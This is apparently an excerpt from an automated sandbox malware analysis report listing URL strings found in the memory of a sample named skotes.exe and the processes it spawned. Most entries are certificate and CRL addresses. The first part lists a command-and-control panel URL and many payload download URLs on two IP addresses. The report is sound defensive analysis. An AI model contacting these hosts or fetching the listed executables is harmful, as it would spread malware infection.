Source: skotes.exe, 00000003.00000003.5972263346.00000000013CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php9001
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedU
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedd
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedy
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpxe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpxeP
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpxel
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1293295511/UZAj8wc.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1293295511/UZAj8wc.exeXYZ0123456789
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6069966613/8ZVMneG.exeIv9
Source: skotes.exe, 00000003.00000002.7284592983.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.00000000012F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7781867830/D1UL0FG.exe
Source: skotes.exe, 00000003.00000002.7284592983.00000000012F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7781867830/D1UL0FG.exeXYZ0123456789
Source: skotes.exe, 00000003.00000002.7284592983.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7781867830/D1UL0FG.exeshqos.dll
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe:
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exew
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/lolz/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe0
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exen
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe
Source: skotes.exe, 00000003.00000002.7286155793.00000000013CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe1
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exeC:
Source: skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exeLMEMXx
Source: skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/x3team/random.exe
Source: D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
Source: D1UL0FG.exe, 00000005.00000003.2468357425.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000002.3018342461.000002732616F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: D1UL0FG.exe, 00000005.00000003.2468357425.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000002.3018342461.000002732616F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: D1UL0FG.exe, 00000006.00000002.2992431014.000001FA2DF30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000002.3018342461.0000027326149000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000002.3018342461.0000027326149000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000002.3018342461.000002732616F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: D1UL0FG.exe, 00000005.00000003.2468357425.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000002.3018342461.000002732616F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: D1UL0FG.exe, 00000005.00000003.2468357425.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: D1UL0FG.exe, 00000005.00000003.2468357425.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: D1UL0FG.exe, 00000005.00000003.2468357425.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
